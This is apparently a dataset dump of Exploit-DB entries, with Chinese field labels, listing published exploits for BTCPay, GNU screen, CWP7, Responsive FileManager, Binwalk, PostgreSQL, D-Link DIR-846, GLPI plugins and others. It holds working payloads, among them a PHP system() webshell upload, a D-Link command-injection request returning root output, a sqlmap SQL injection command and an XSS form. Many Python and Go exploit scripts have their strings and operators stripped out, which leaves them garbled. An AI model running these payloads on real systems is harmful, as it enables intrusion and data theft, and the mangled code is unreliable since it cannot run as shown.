QLWD/code_shield huggingface dataset:
标题: BTCPay Server v1.7.4 - HTML Injection EDB-ID: 51254 CVE: 2023-0493 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-04-05 漏洞利用脚本: # Exploit Title: BTCPay Server v1.7.4 - HTML Injection
# Date: 01/26/2023
# Exploit Author: Manojkumar J (TheWhiteEvil)
# Vendor Homepage: https://github.com/btcpayserver/btcpayserver
# Software Link:
https://github.com/btcpayserver/btcpayserver/releases/tag/v1.7.5
# Version: <=1.7.4
# Tested on: Windows10
# CVE : CVE-2023-0493

# Description:

BTCPay Server v1.7.4 HTML injection vulnerability.

# Steps to exploit:

1. Create an account on the target website.

Register endpoint: https://target-website.com/register#

2. Move on to the API key and create API key with the html injection in the
label field.

Example:

<a href="https://hackerbro.in">clickhere</a>


3. Click remove/delete API key, the html injection will render. URL: https://www.exploit-db.com/exploits/51254
标题: itech TrainSmart r1044 - SQL injection EDB-ID: 51253 CVE: 2021-36520 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-05 漏洞利用脚本: # Exploit Title: itech TrainSmart r1044 - SQL injection
# Date: 03.02.2023
# Exploit Author: Adrian Bondocea
# Software Link: https://sourceforge.net/p/trainsmart/code/HEAD/tree/code/
# Version: TrainSmart r1044
# Tested on: Linux
# CVE : CVE-2021-36520

SQL injection vulnerability in itech TrainSmart r1044 allows remote
attackers to view sensitive information via crafted command using sqlmap.

PoC:
sqlmap --url 'http://{URL}//evaluation/assign-evaluation?id=1' -p id -dbs URL: https://www.exploit-db.com/exploits/51253
标题: GNU screen v4.9.0 - Privilege Escalation EDB-ID: 51252 CVE: 2023-24626 类型: LOCAL 平台: LINUX 发布日期: 2023-04-05 漏洞利用脚本: # Exploit Title: GNU screen v4.9.0 - Privilege Escalation
# Date: 03.02.2023
# Exploit Author: Manuel Andreas
# Vendor Homepage: https://www.gnu.org/software/screen/
# Software Link: https://ftp.gnu.org/gnu/screen/screen-4.9.0.tar.gz
# Version: 4.9.0
# Tested on: Arch Linux
# CVE : CVE-2023-24626

import os
import socket
import struct
import argparse
import subprocess
import pty
 time

SOCKDIR_TEMPLATE  
MAXPATHLEN  
MAXTERMLEN  
MAXLOGINLEN  
STRUCTSIZE  
MSG_QUERY    

 
     f


 ver
                 ver


 
     structpack build_magic   MAXPATHLEN  b


 auser nargs cmd apid preselect writeback
    auser  MAXLOGINLEN  
    cmd  MAXPATHLEN
    preselect  
    writeback  MAXPATHLEN

    buf  build_msgMSG_QUERY

    buf  auser
    buf    b 
    buf  structpack nargs
    buf  cmd
    buf  structpack apid
    buf  preselect
    buf  writeback

    
    buf  STRUCTSIZE  buf  b

     buf


 
    
    mo so  ptyopenpty
    me se  ptyopenpty  
    mi si  ptyopenpty  

    screen  subprocessPopen bufsize stdinsi stdoutso stderrse close_fds env

     fd  so se si
        osclosefd

     screen


 
    parser  argparseArgumentParserdescription
    parseradd_argument  

    args  parserparse_args

    pid  argspid
    username  osgetlogin

    screen  spawn_screen_instance

    
    timesleep

    s  socketsocketsocketAF_UNIX socketSOCK_STREAM
    socket_path  find_latest_socketSOCKDIR_TEMPLATEusername

    f
    sconnectsocket_path

    
    msg  build_queryusernameencode  MAXLOGINLEN    username  b  MAXPATHLEN  b pid   b MAXPATHLEN  b
    ssendmsgmsg

    srecv

    f

    screenkill


 __name__  
    main URL: https://www.exploit-db.com/exploits/51252
标题: Control Web Panel 7 (CWP7) v0.9.8.1147 - Remote Code Execution (RCE) EDB-ID: 51250 CVE: 2022-44877 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-05 漏洞利用脚本: // Exploit Title: Control Web Panel 7 (CWP7) v0.9.8.1147 -  Remote Code Execution (RCE)
// Date: 2023-02-02
// Exploit Author: Mayank Deshmukh
// Vendor Homepage: https://centos-webpanel.com/
// Affected Versions: version < 0.9.8.1147
// Tested on: Kali Linux
// CVE : CVE-2022-44877
// Github POC: https://github.com/ColdFusionX/CVE-2022-44877-CWP7

// Exploit Usage : go run exploit.go -u https://127.0.0.1:2030 -i 127.0.0.1:8020

package main

 
    
    
    
    
    
    


  

     hostcall 
    flaghost   
    flagcall   

    flag

    banner  
     fmtbanner
     fmt

     fmt  call  

    
    tr  httpTransport
        TLSClientConfig tlsConfigInsecureSkipVerify 
    
    client  httpClientTransport tr

    
    url  host    call  

    
    body  bytes

    
    req err  http url body
    reqHeader 
    resp err  clientreq
     err   
        fmt err
        
    
    time  timeSecond

     respBody
    fmt URL: https://www.exploit-db.com/exploits/51250
标题: Responsive FileManager 9.9.5 - Remote Code Execution (RCE) EDB-ID: 51251 CVE: 2022-46604 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-05 漏洞利用脚本: # Exploit Title: Responsive FileManager 9.9.5 - Remote Code Execution (RCE)
# Date: 02-Feb-2023
# Exploit Author: Galoget Latorre (@galoget)
# Vendor Homepage: https://responsivefilemanager.com
# Software Link: https://github.com/trippo/ResponsiveFilemanager/releases/download/v9.9.5/responsive_filemanager.zip
# Dockerfile: https://github.com/galoget/ResponsiveFileManager-CVE-2022-46604
# Version: 9.9.5
# Language: Python 3.x
# Tested on:
#  - Ubuntu 22.04.5 LTS 64-bit
#  - Debian GNU/Linux 10 (buster) 64-bit
#  - Kali GNU/Linux 2022.3 64-bit






 sys
 requests
 bs4  BeautifulSoup
 termcolor  colored cprint






 
    

    banner_text  
    banner_text


 
    
     sysargv  
        
        
        sysexit


 web_session webshell_url command_to_run
    
    webshell_response  web_sessiongeturl  webshell_url  f headers  headers
    command_output_soup  BeautifulSoupwebshell_responsetext 
     webshell_response command_output_soupfindtext


 __name__  
    banner
    usage_instructions

    
     sysargv
        host  sysargv
    
        host  

    headers  
         
    


    
    target_url  f

    
    payload  
    

    
    cookie_url  f

    
    session  requestsSession

    
    cprintf 
    
        sessiongeturl  cookie_url headers  headers
    
        cprintf 
        sysexit

     sessioncookiesget_dict
        cprint 
        cprintf 
    
        cprint 

    
    params         payload

    
    cprintf 
    response  sessionposturl  target_url headers  headers data  params

    
     responsestatus_code    responsetext  
        
        shell_url  f

        
        webshell whoami_output  run_commandsession shell_url 
        webshell passwd_output  run_commandsession shell_url 

        
        common_users        

        
         webshellstatus_code    whoami_outputlower  common_users    passwd_output
            cprint 
            cprintf 
            cprintf 


        
        answer  colored 

         answerupper  
            cprint 
            command  
             command  
                command  colored lower
                webshell command_output  run_commandsession shell_url command
                 command  
                    cprintcommand_output 

        cprint 

     responsestatus_code    responsetext  
        cprint 

    
        cprintf URL: https://www.exploit-db.com/exploits/51251
标题: Binwalk v2.3.2 - Remote Command Execution (RCE) EDB-ID: 51249 CVE: 2022-4510 类型: REMOTE 平台: PYTHON 发布日期: 2023-04-05 漏洞利用脚本: # Exploit Title: Binwalk v2.3.2 - Remote Command Execution (RCE)
# Exploit Author: Etienne Lacoche
# CVE-ID: CVE-2022-4510
import os
import inspect
import argparse

print("")
print("################################################")
print("------------------CVE-2022-4510----------------")
print("################################################")
print("--------Binwalk Remote Command Execution--------")
print("------Binwalk 2.1.2b through 2.3.2 included-----")
print("------------------------------------------------")
print("################################################")








parser  argparseArgumentParser
parseradd_argument default
parseradd_argument default
parseradd_argument default

args  parserparse_args
            
 args  argsip  argsport
    header_pfs  fromhex)
    lines   argsipargsport 

    in_file  args 
    data  in_fileread
    in_fileclose
    
        f
        line  lines
          fwriteline

        f 
        content  fread

    ossystem

        f
        fwritedata
        fwriteheader_pfs
        fwritecontent URL: https://www.exploit-db.com/exploits/51249
标题: PostgreSQL 9.6.1 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 51247 CVE: 2019–9193 类型: REMOTE 平台: MULTIPLE 发布日期: 2023-04-05 漏洞利用脚本: # Exploit Title: PostgreSQL 9.6.1 - Remote Code Execution (RCE) (Authenticated)
# Date: 2023-02-01
# Exploit Author: Paulo Trindade (@paulotrindadec), Bruno Stabelini (@Bruno Stabelini), Diego Farias (@fulcrum) and Weslley Shaimon
# Github: https://github.com/paulotrindadec/CVE-2019-9193
# Version: PostgreSQL 9.6.1 on x86_64-pc-linux-gnu
# Tested on: Red Hat Enterprise Linux Server 7.9
# CVE: CVE-2019–9193

#!/usr/bin/python3 

import sys
import psycopg2
 argparse


 
    parser  argparseArgumentParserdescription
    parseradd_argument  nargs  default 
    parseradd_argument  nargs  default 
    parseradd_argument  nargs default 
    parseradd_argument  nargs default 
    parseradd_argument  nargs 
    args  parserparse_args
     args

 
 

  
  RHOST  argsip
  RPORT  argsport
  USER  argsuser
  PASS  argspassword

  f
  con  psycopg2connecthostRHOST portRPORT userUSER passwordPASS

   argscommand
   exploitcon
  
    

  psycopg2OperationalError  e
  
   
  exit

 con
 cur  concursor

 CMD  argscommand

 
  
  curexecute
  curexecute
  curexecute
  curexecute

  curexecute

  curexecuteCMD
     

  curexecute

  curexecute

  curexecute

  curexecute

  concommit

  returncmd  curfetchall
   result  returncmd
   result

  Exception psycopg2DatabaseError  error
   error


 
   con   
   conclose
   

 __name__  
    args  parseArgs
    main URL: https://www.exploit-db.com/exploits/51247
标题: D-Link DIR-846 - Remote Command Execution (RCE) vulnerability EDB-ID: 51243 CVE: 2022-46552 类型: REMOTE 平台: HARDWARE 发布日期: 2023-04-05 漏洞利用脚本: # Exploit Title: D-Link DIR-846 - Remote Command Execution (RCE) vulnerability 
# Google Dork: NA
# Date: 30/01/2023
# Exploit Author: Françoa Taffarel
# Vendor Homepage:
https://www.dlink.com.br/produto/roteador-dir-846-gigabit-wi-fi-ac1200/#suportehttps://www.dlink.com.br/wp-content/uploads/2020/02/DIR846enFW100A53DBR-Retail.zip
# Software Link:
https://www.dlink.com.br/wp-content/uploads/2020/02/DIR846enFW100A53DBR-Retail.zip
# Version: DIR846enFW100A53DBR-Retail
# Tested on: D-LINK DIR-846
# CVE : CVE-2022-46552

D-Link DIR-846 Firmware FW100A53DBR was discovered to contain a remote
command execution (RCE) vulnerability via the lan(0)_dhcps_staticlist
parameter. This vulnerability is exploited via a crafted POST request.

### Malicious POST Request
```
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101
Firefox/107.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
SOAPACTION: "http://purenetworks.com/HNAP1/SetIpMacBindSettings"
HNAP_AUTH: 0107E0F97B1ED75C649A875212467F1E 1669853009285
Content-Length: 171
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/AdvMacBindIp.html?t=1669852917775
Cookie: PHPSESSID=133b3942febf51641c4bf0d81548ac78; uid=idh0QaG7;
PrivateKey=DBA9B02F550ECD20E7D754A131BE13DF; timeout=4

{"SetIpMacBindSettings":{"lan_unit":"0","lan(0)_dhcps_staticlist":"1,$(id>rce_confirmed),02:42:d6:f9:dc:4e,192.168.0.15"}}
```


### Response

```
HTTP/1.1 200 OK
X-Powered-By: PHP/7.1.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-type: text/html; charset=UTF-8
Connection: close
Date: Thu, 01 Dec 2022 11:03:54 GMT
Server: lighttpd/1.4.35
Content-Length: 68

{"SetIpMacBindSettingsResponse":{"SetIpMacBindSettingsResult":"OK"}}
```


### Data from RCE Request

```
GET /HNAP1/rce_confirmed HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101
Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=133b3942febf51641c4bf0d81548ac78; uid=ljZlHjKV;
PrivateKey=846232FD25AA8BEC8550EF6466B168D9; timeout=1
Upgrade-Insecure-Requests: 1
```


### Response

```
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Accept-Ranges: bytes
Content-Length: 24
Connection: close
Date: Thu, 01 Dec 2022 23:24:28 GMT
Server: lighttpd/1.4.35

uid=0(root) gid=0(root)
``` URL: https://www.exploit-db.com/exploits/51243
标题: Dell EMC Networking PC5500 firmware versions 4.1.0.22 and Cisco Sx / SMB - Information Disclosure EDB-ID: 51248 CVE: 2020-5330 2019-15993 类型: REMOTE 平台: HARDWARE 发布日期: 2023-04-05 漏洞利用脚本: # Exploit Title: Dell EMC Networking PC5500 firmware versions 4.1.0.22 and  Cisco Sx / SMB - Information Disclosure
# DSA-2020-042: Dell Networking Security Update for an Information Disclosure Vulnerability | Dell US<https://www.dell.com/support/kbdoc/en-us/000133476/dsa-2020-042-dell-networking-security-update-for-an-information-disclosure-vulnerability>
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200129-smlbus-switch-disclos


# CVE-2019-15993 / CVE-2020-5330 - Cisco Sx / SMB, Dell X & VRTX, Netgear (Various) Information Disclosure and Hash Decrypter
# Discovered by Ken 's1ngular1ty' Pyle






 requests
 re
 hashlib
 sys
 requestspackagesurllib3exceptions  InsecureRequestWarning

 sysargv  
    
    sysexit

url  sysargv
  sysargv

requestspackagesurllib3disable_warningsInsecureRequestWarning

 value
    
    sha1  hashlibsha1
    sha1updatevalueencode
     sha1hexdigest

 text start_delimiter end_delimiter
    results  
    iteration  
    start  
     start  
        start  textfindstart_delimiter start
         start  
            start  start_delimiter
            end  textfindend_delimiter start
             end  
                resultsappendtextstartend
                start  end  end_delimiter

                iteration  iteration  
     results


response  requestsgeturl allow_redirects verify


    f
    values  freadlines

values  valuestrip  value  values
hashes  hash_valuevalue value  value  values

 responsestatus_code  
    
    url  responseheaders  
    responserequestsgeturl verify

     responsestatus_code  
         url  
        content  responsetext
        users_names  userName_parsercontent
        sha1_hashes  refindallr content

        

        loops  
         loops  sha1_hashes
              users_namesloops      sha1_hashesloops  


             sha1_hash  sha1_hashes
                 sha1_hash  hashes
                      sha1_hash hashessha1_hash
                     
                     payload  sysargv        users_namesloops    hashessha1_hash

                     response_login  requestsgetpayload allow_redirects verify
                     headers  response_loginheaders
                        headers
                            users_namesloops  
                          headers
                     
                          
            loops  loops  
    
         responsestatus_code






cidb485c88954c0ab53
    Ken Pyle
    MS IA CISSP HCISPP ECSA CEH OSCP OSWP EnCE Sec
    Main 
    Direct 
    Email kp@cybircom
    Website wwwcybircom URL: https://www.exploit-db.com/exploits/51248
标题: Liferay Portal 6.2.5 - Insecure Permissions EDB-ID: 51244 CVE: 2021-33990 类型: WEBAPPS 平台: JAVA 发布日期: 2023-04-05 漏洞利用脚本: # Exploit Title: Liferay Portal 6.2.5 - Insecure Permissions
# Google Dork: -inurl:/html/js/editor/ckeditor/editor/filemanager/browser/
# Date: 2021/05
# Exploit Author: fu2x2000
# Version: Liferay Portal 6.2.5 or later
# CVE : CVE-2021-33990

 import requests
import json

print (" Search this on Google #Dork for liferay
-inurl:/html/js/editor/ckeditor/editor/filemanager/browser/")

url ="URL Goes Here
/html/js/editor/ckeditor/editor/filemanager/browser/liferay/frmfolders.html"
req = requests.get(url)
 req
sta  reqstatus_code
 sta  
 
cook  url
 cook
inject URL: https://www.exploit-db.com/exploits/51244
标题: Calendar Event Multi View 1.4.07 - Unauthenticated Arbitrary Event Creation to Cross-Site Scripting (XSS) EDB-ID: 51241 CVE: 2022-2846 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-05 漏洞利用脚本: # Exploit Title: Calendar Event Multi View  1.4.07 - Unauthenticated Arbitrary Event Creation to Cross-Site Scripting (XSS)
# Date: 2022-05-25
# Exploit Author: Mostafa Farzaneh
# WPScan page:
https://wpscan.com/vulnerability/95f92062-08ce-478a-a2bc-6d026adf657c
# Vendor Homepage: https://wordpress.org/plugins/cp-multi-view-calendar/
# Software Link:
https://downloads.wordpress.org/plugin/cp-multi-view-calendar.1.4.06.zip
# Version:   1.4.06
# Tested on: Linux
# CVE : CVE-2022-2846
# Description:
The Calendar Event Multi View WordPress plugin before 1.4.07 does not have
any authorisation and CSRF checks in place when creating an event, and is
also lacking sanitisation as well as escaping in some of the event fields.
This could allow unauthenticated attackers to create arbitrary events and
put Cross-Site Scripting payloads in it.

#POC and exploit code:
As an unauthenticated user, to add a malicious event (on October 6th, 2022)
to the calendar with ID 1, open the code below

<html>
  <body>
    <form action="
https://example.com/?cpmvc_do_action=mvparse&f=datafeed&calid=1&month_index=0&method=adddetails"
method="POST">
      <input type="hidden" name="Subject"
value='"><script>alert(/XSS/)</script>' />
      <input type="hidden" name="colorvalue" value="#f00" />
      <input type="hidden" name="rrule" value="" />
      <input type="hidden" name="rruleType" value="" />
      <input type="hidden" name="stpartdate" value="10/6/2022" />
      <input type="hidden" name="stparttime" value="00:00" />
      <input type="hidden" name="etpartdate" value="10/6/2022" />
      <input type="hidden" name="etparttime" value="00:00" />
      <input type="hidden" name="stpartdatelast" value="10/6/2022" />
      <input type="hidden" name="etpartdatelast" value="10/6/2022" />
      <input type="hidden" name="stparttimelast" value="" />
      <input type="hidden" name="etparttimelast" value="" />
      <input type="hidden" name="IsAllDayEvent" value="1" />
      <input type="hidden" name="Location" value="CSRF" />
      <input type="hidden" name="Description" value='<p style="text-align:
left;">CSRF</p>' />
      <input type="hidden" name="timezone" value="4.5" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

The XSS will be triggered when viewing the related event URL: https://www.exploit-db.com/exploits/51241
标题: Kardex Mlog MCC 5.7.12 - RCE (Remote Code Execution) EDB-ID: 51239 CVE: 2023-22855 类型: REMOTE 平台: WINDOWS 发布日期: 2023-04-05 漏洞利用脚本: #!/usr/bin/env python3

# Exploit Title: Kardex Mlog MCC 5.7.12 - RCE (Remote Code Execution)
# Date: 12/13/2022
# Exploit Author: Patrick Hener
# Vendor Homepage: https://www.kardex.com/en/mlog-control-center
# Version: 5.7.12+0-a203c2a213-master
# Tested on: Windows Server 2016
# CVE : CVE-2023-22855
# Writeup: https://hesec.de/posts/CVE-2023-22855
#
# You will need to run a netcat listener beforehand: ncat -lnvp <port>
#
import requests, argparse, base64, os, threading
 impacket  smbserver

 target
 headers  
   
 
 res  requestsgetf headersheaders
    restext
   
 
   

 lhost lport
 rev_shell_blob  f
 rev_shell_blob_b64  base64b64encoderev_shell_blobencode
 payload  f

  payload

 lhost
 server  smbserverSimpleSMBServerlistenAddresslhost listenPort
 serveraddShare osgetcwd 
 serversetSMB2Support
 serversetSMBChallenge
 serverstart

 target lhost
 headers  
   
 

 requestsgetf headersheaders

 
 
 parser  argparseArgumentParser
 parseradd_argument   required
 parseradd_argument   required
 parseradd_argument   required
 args  parserparse_args

 
 
  probeargstarget
  
 
  
  exit

 
 
     template
  templatewritegen_payloadargslhost argslport

 templateclose

 
 
 smb_server_thread  threadingThreadtargetstart_smb_server name argsargslhost
 smb_server_threadstart

 
 
 f
 
  

 
 
 trigger_vulnerabilityargstarget argslhost

 
 
 os_exit



 __name__  
 main URL: https://www.exploit-db.com/exploits/51239
标题: Paid Memberships Pro v2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection EDB-ID: 51235 CVE: 2023-23488 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-03 漏洞利用脚本: #!/usr/bin/env python
# Exploit Title: Paid Memberships Pro  v2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection
# Exploit Author: r3nt0n
# CVE: CVE-2023-23488
# Date: 2023/01/24
# Vulnerability discovered by Joshua Martinelle
# Vendor Homepage: https://www.paidmembershipspro.com
# Software Link: https://downloads.wordpress.org/plugin/paid-memberships-pro.2.9.7.zip
# Advisory: https://github.com/advisories/GHSA-pppw-hpjp-v2p9
# Version: < 2.9.8
# Tested on: Debian 11 - WordPress 6.1.1 - Paid Memberships Pro 2.9.7
#
# Running this script against a WordPress instance with Paid Membership Pro plugin
# tells you if the target is vulnerable.







 sys
 requests

 target_url delay
    payload    delay  
    data   
             payload
     requestsgettarget_url paramsdataelapsedtotal_seconds


 sysargv  
    
    
    sysexit

target_url  sysargv

    
    req  requestsgettarget_url timeout

    uu
    sysexit

 get_requesttarget_url   get_requesttarget_url 
    uu
    sysexit
u u

target_url

target_url

target_url
sysexit URL: https://www.exploit-db.com/exploits/51235
标题: GLPI Cartography Plugin v6.0.0 - Unauthenticated Remote Code Execution (RCE) EDB-ID: 51234 CVE: 2022-34128 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-03 漏洞利用脚本: # Exploit Title: GLPI  Cartography Plugin v6.0.0 - Unauthenticated Remote Code Execution (RCE)
# Date of found: 11 Jun 2022
# Application: GLPI Cartography < 6.0.0
# Author: Nuri Çilengir 
# Vendor Homepage: https://glpi-project.org/
# Software Link: https://github.com/InfotelGLPI/positions
# Advisory: https://pentest.blog/advisory-glpi-service-management-software-sql-injection-remote-code-execution-and-local-file-inclusion/
# Tested on: Ubuntu 22.04
# CVE: CVE-2022-34128

# PoC
POST /marketplace/positions/front/upload.php?name=poc.php HTTP/1.1
Host: 192.168.56.113
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 39
Origin: http://192.168.56.113
Connection: close

<?php echo system($_GET["cmd"]); ?> URL: https://www.exploit-db.com/exploits/51234
标题: GLPI Activity v3.1.0 - Authenticated Local File Inclusion on Activity plugin EDB-ID: 51232 CVE: 2022-34125 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-03 漏洞利用脚本: # Exploit Title: GLPI Activity  v3.1.0 - Authenticated Local File Inclusion on Activity plugin
# Date of found: 11 Jun 2022
# Application: GLPI Activity < 3.1.0
# Author: Nuri Çilengir 
# Vendor Homepage: https://glpi-project.org/
# Software Link: https://github.com/InfotelGLPI/activity
# Advisory: https://pentest.blog/advisory-glpi-service-management-software-sql-injection-remote-code-execution-and-local-file-inclusion/
# Tested on: Ubuntu 22.04
# CVE : CVE-2022-34125

# PoC
GET /marketplace/activity/front/cra.send.php?&file=../../\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts&seefile=1 HTTP/1.1
Host: 192.168.56.113
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close URL: https://www.exploit-db.com/exploits/51232